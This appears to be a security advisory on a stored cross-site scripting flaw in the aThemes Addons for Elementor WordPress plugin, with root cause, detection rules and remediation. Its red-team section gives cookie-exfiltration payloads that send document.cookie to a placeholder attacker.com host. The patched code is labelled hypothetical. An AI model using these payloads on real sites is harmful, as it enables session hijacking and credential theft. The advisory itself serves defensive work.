CVE-2025-12837

Executive Summary

CVE-2025-12837 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the aThemes Addons for Elementor WordPress plugin, affecting versions up to and including 1.1.5. The flaw resides in the Call To Action widget, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin extends Elementor, a popular page builder, making this a supply chain risk for WordPress sites using the affected addon.

Supply Chain & Package Security

• Ecosystem: WordPress Plugin Repository
• Package: aThemes Addons for Elementor (slug: athemes-addons-for-elementor)
• Risk: Unpatched plugin versions are distributed via the WordPress plugin directory and automatic updates. Site administrators must manually monitor for patches or remove the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for widespread exploitation in WordPress environments with multiple contributors elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the Call To Action widget of the aThemes Addons for Elementor plugin. The widget allows users to input text, URLs, and other parameters that are rendered on the frontend. Due to insufficient input sanitization and output escaping, an attacker with contributor-level access can inject malicious JavaScript into these fields.

Attack Flow:

1. An authenticated attacker (contributor or higher) creates or edits a page/post using the Elementor editor.
2. The attacker inserts the Call To Action widget and injects a payload (e.g., <script>alert('XSS')</script>) into a vulnerable field (e.g., button text, heading, or description).
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When any user (including administrators) visits the page, the payload executes in their browser.

Root Cause: The plugin fails to use WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()) on user-supplied values before rendering them in the widget's output.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.1.5):

// In widget output
echo '<div class="call-to-action">' . $settings['cta_text'] . '</div>';

Patched Code (hypothetical):

// Properly escaped output
echo '<div class="call-to-action">' . esc_html( $settings['cta_text'] ) . '</div>';

The vulnerable code directly echoes user input without escaping, while the patched version uses esc_html() to neutralize HTML/JavaScript.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with aThemes Addons for Elementor <= 1.1.5
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new page and open it in Elementor.
3. Add the Call To Action widget.
4. In the "Button Text" field, inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the page.
6. When an admin visits the page, the script executes and exfiltrates cookies.

Payload Example:

// Stored XSS payload
<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>

Blue Team (Detection & Response)

Detection:

• Monitor for unusual JavaScript in page content or widget fields.
• Use WAF rules to block common XSS patterns (e.g., <script>, onerror=).

Response:

• Immediately disable the plugin if no patch is available.
• Review all pages/posts created by contributors for injected scripts.
• Rotate all user sessions and API keys.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/athemes-addons-for-elementor/ (entire plugin directory)
• Database: Suspicious entries in wp_postmeta or wp_posts containing <script> tags in widget data.
• Network: Outbound requests to attacker-controlled domains from WordPress admin pages.
• Logs: HTTP requests to pages with the Call To Action widget containing encoded JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_12837_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in aThemes Addons for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12837"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in aThemes Addons for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress pages using aThemes Addons for Elementor
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.response.body|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12837 Stored XSS in aThemes Addons for Elementor"; flow:to_server,established; content:"wp-content/plugins/athemes-addons-for-elementor"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review and clean all pages/posts created by contributors for malicious scripts.
3. Reset all user sessions and invalidate API keys.

Long-term Fix:

• Apply the official patch from aThemes when available (currently UNKNOWN).
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce the principle of least privilege: restrict contributor-level access.

Workaround:

• Use a security plugin (e.g., Wordfence) to block XSS payloads.
• Manually edit the plugin files to add escaping (not recommended for production).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-12837